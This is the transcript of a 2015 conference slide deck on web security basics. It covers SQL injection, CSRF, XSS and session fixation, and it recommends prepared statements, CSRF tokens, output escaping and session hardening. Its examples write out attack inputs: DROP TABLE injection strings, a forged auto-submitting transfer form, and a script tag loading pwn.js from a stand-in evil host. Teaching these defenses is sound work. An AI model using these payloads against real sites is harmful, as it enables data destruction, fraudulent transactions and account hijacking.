Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Security Basics for Web Developers

Security Basics for Web Developers

This is the slide deck for a presentation by Christoph Iserlohn from innoQ for JAX 2015.

innoQ Deutschland GmbH

April 24, 2015

Transcript

93 slides
  1. Why is security so important? >  Adobe – September 2013

    152.000.000 records leaked including encrypted passwords and encrypted credit card numbers and expiration dates >  Korea Credit Bureau – January 2014 20,000,000 records leaked including social security numbers, phone numbers, credit card numbers and expiration dates >  „The Fappening“ – September 2014 intimate-images from over hundred celebrities leaked
  2. OWASP Top 10 >  A1 Injection >  A2 Broken Authentication

    and Session Management >  A3 Cross-Site Scripting (XSS) >  A4 Insecure Direct Object References >  A5 Security Misconfiguration >  A6 Sensitive Data Exposure >  A7 Missing Function Level Access Control >  A8 Cross-Site Request Forgery (CSRF) >  A9 Using Components with Known Vulnerabilities >  A10 Unvalidated Redirects and Forwards
  3. OWASP Top 10 >  A1 Injection >  A2 Broken Authentication

    and Session Management >  A3 Cross-Site Scripting (XSS) >  A4 Insecure Direct Object References >  A5 Security Misconfiguration >  A6 Sensitive Data Exposure >  A7 Missing Function Level Access Control >  A8 Cross-Site Request Forgery (CSRF) >  A9 Using Components with Known Vulnerabilities >  A10 Unvalidated Redirects and Forwards
  4. Injection explained >  Untrusted data is sent to an interpreter

    >  The interpreter is tricked into executing unintended commands >  Problem: no clear separation of (untrusted) data from commands
  5. Example String user = request.getParameter("user");! String pwd = request.getParameter("pwd");! String

    query = ! "SELECT * FROM user WHERE name = '" +! user + "' AND pwd = '" + pwd + "'";! Statement stmnt = conn.createStatement();! ResultSet rs = stmnt.executeQuery(query);!
  6. Example Parameters chosen by attacker: name = admin
 pwd =

    ' OR 1=1; -- Query that gets executed: SELECT * FROM users WHERE
 name = 'admin' 
 AND pwd = '' OR 1=1; --‘
  7. Example Parameters chosen by attacker: name = admin
 pwd =

    '; DROP TABLE users; -- Query that gets executed: SELECT * FROM user WHERE
 name = 'admin' AND pwd = ''; DROP TABLE users; --'
  8. NoSQL query languages session.execute("
 SELECT * FROM users WHERE
 first_name

    = 'jane' AND
 last_name = 'smith';");
 ! ! ! ! ! ! ! ! ! ! !Cassandra – CQL executionEngine.execute("
 MATCH (p:Product) WHERE
 p.productName = 'Chocolade'
 RETURN p.unitPrice;"); Neo4j – cypher
  9. Prevention >  Use parameterized interfaces – e.g. prepared statements > 

    Validate user input – prefer whitelists over blacklists >  Sanitize user input – escape special characters sent to interpreter
  10. Example String user = request.getParameter("user");! String pwd = request.getParameter("pwd");! String

    query = ! "SELECT * FROM user WHERE name = ? " +
 "AND pwd = ?";! PreparedStatement stmnt = 
 conn.prepareStatement(query);! stmnt.setString(1, user);
 stmnt.setString(2, pwd);! ResultSet rs = stmnt.executeQuery();!
  11. >  Attacker is able to predict all details of a

    request required to execute a particular action >  Malicious web page generates forged requests that are indistinguishable from legitimate ones >  Browsers send credentials like session cookies automatically CSRF explained
  12. GET / HTTP 1.1! Host: evil.example.com! HTTP 1.1 200 OK!

    <html>! <body>! <img src=“
 https://vulnerable.example.com/transfer?
 from=victim&to=attacker&amount=100" />! </body>! </html>!
  13. <form method="POST" id="forged"
 action="https://vulnerable.example.com/transfer">
 <input type="hidden" name="from" value="victim" />! <input

    type="hidden" name="to" value="attacker" />! <input type="hidden" name="amount" value="100" />! </form>! GET / HTTP 1.1! Host: evil.example.com! HTTP 1.1 200 OK!
  14. GET / HTTP 1.1! Host: evil.example.com! HTTP 1.1 200 OK!

    <script type="text/javascript">! window.onload = function() {
 document.getElementById("forged").submit();! }! </script>!
  15. GET / HTTP 1.1! Host: evil.example.com! HTTP 1.1 200 OK!

    <script type="text/javascript">! window.onload = function() {
 document.getElementById("forged“).submit();! }! </script>!
  16. Prevention >  Use CSRF-Tokens for each request – unique/secret, linked

    to session >  Require reauthentication before critical operations >  Use double submit pattern for requests from JavaScript – or when there is no session >  Check for application/json"
  17. The form is enriched with a unique CSRF-token <form method="POST"


    action="https://csrf-safe.example.com/transfer">
 <input type="text" name="from" value="victim" />! <input type="text" name="to" value="attacker" />! <input type="text" name="amount" value="100" />" <input type="hidden" name="csrf" value="4839ca9"/>! </form>!
  18. The form is enriched with a unique CSRF-token <form method="POST"


    action="https://csrf-safe.example.com/transfer">
 <input type="text" name="from" value="victim" />! <input type="text" name="to" value="attacker" />! <input type="text" name="amount" value="100" />" <input type="hidden" name="csrf" value="4839ca9"/>! </form>!
  19. <form method="POST"
 action="https://csrf-safe.example.com/transfer">
 <input type="text" name="from" value="victim" />! <input type="text"

    name="to" value="attacker" />! <input type="text" name="amount" value="100" />" <input type="hidden" name="csrf" value="?????"/>! </form>! Attacker can‘t know value of csrf
  20. GET / HTTP 1.1! Host: evil.example.com! HTTP 1.1 200 OK!

    <form method="POST"
 action="https://csrf-safe.example.com/transfer">
 <input type="text" name="from" value="victim" />! <input type="text" name="to" value="attacker" />! <input type="text" name="amount" value="100" />" <input type="hidden" name="csrf" value="?????"/>! </form>!
  21. GET / HTTP 1.1! Host: evil.example.com! HTTP 1.1 200 OK!

    <form method="POST"
 action="https://csrf-safe.example.com/transfer">
 <input type="text" name="from" value="victim" />! <input type="text" name="to" value="attacker" />! <input type="text" name="amount" value="100" />" <input type="hidden" name="csrf" value="?????"/>! </form>!
  22. Website checks the value of csrf
 and rejects the forged

    request even if it contains a valid session cookie
  23. XSS explained >  Web page includes user supplied (untrusted) data

    >  The data is not properly validated or escaped >  Attacker can execute scripts in the victim‘s browser
  24. Vulnerable website includes the query parameters in the response <html>!

    <body>! Results for cats
 <script src="http://evil.example.com/pwn.js" />:! </body>! </html>!
  25. Vulnerable website includes the query parameters in the response <html>!

    <body>! Results for cats
 <script src="http://evil.example.com/pwn.js" />:! </body>! </html>!
  26. Vicitm‘s browser includes script from malicious website GET /pwn.js HTTP

    1.1! Host: evil.example.com! <html>! <body>! Results for cats
 <script src="http://evil.example.com/pwn.js" />:! </body>! </html>!
  27. Vicitm‘s browser executes script in context of the vulnerable website

    <html>! <body>! Results for cats
 <script src="http://evil.example.com/pwn.js" />:! </body>! </html>!
  28. Vulnerable website includes the malicious script in every response <html>!

    <body>! I love cats
 <script src="http://evil.example.com/pwn.js" />! </body>! </html>!
  29. Other XSS types >  DOM-based XSS – reflected by JavaScript

    code on the client side >  Universal XSS – exploit vulnerabilities in the browser
  30. Prevention >  Use contextual (HTML, JavaScript, CSS) output escaping/encoding > 

    Validate & sanitize user input – prefer whitelists over blacklists >  Protect session cookies with httpOnly" >  Use Content-Security-Policy headers to limit where external resources can be loaded from
  31. Properly escaped output <html>! <body>! I love cats &lt;script src=&quot;http://

    
 evil.example.com/pwn.js&quot; /&gt;! </body>! </html>!
  32. Common flaws >  Session IDs are exposed in the URL

    >  Session IDs don‘t timeout >  Session IDs aren‘t changed after logins >  Session IDs aren‘t invalidated during logout >  Session IDs are predictable
  33. The attacker tricks victim to login with the provided link

    https://vulnerable.example.com/login?ID=48839ca!
  34. The attacker tricks victim to login with the provided link

    https://vulnerable.example.com/login?ID=48839ca!
  35. Prevention >  Store session IDs in cookies – use httpOnly

    flag if possible >  Create a new session after login – (see HttpServletRequest)! >  Properly invalidate sessions – during logout or due to inactivity >  Use unpredictable session IDs – (e.g. don‘t use java.util.Random)
  36. Summary >  Validate & sanitize all user input >  Properly

    escape/encode output >  Protect your forms with CSRF-Tokens >  Harden your session management
  37. Tools that can help >  Spring: Spring framework, Spring security

    >  OWASP: CSRFGuard, HTML Sanitizer, ESAPI >  Apache: commons lang, commons validation >  JavaEE: Bean validation (JSR-303), JSF (2.2)

More Decks by innoQ Deutschland GmbH

Other Decks in Technology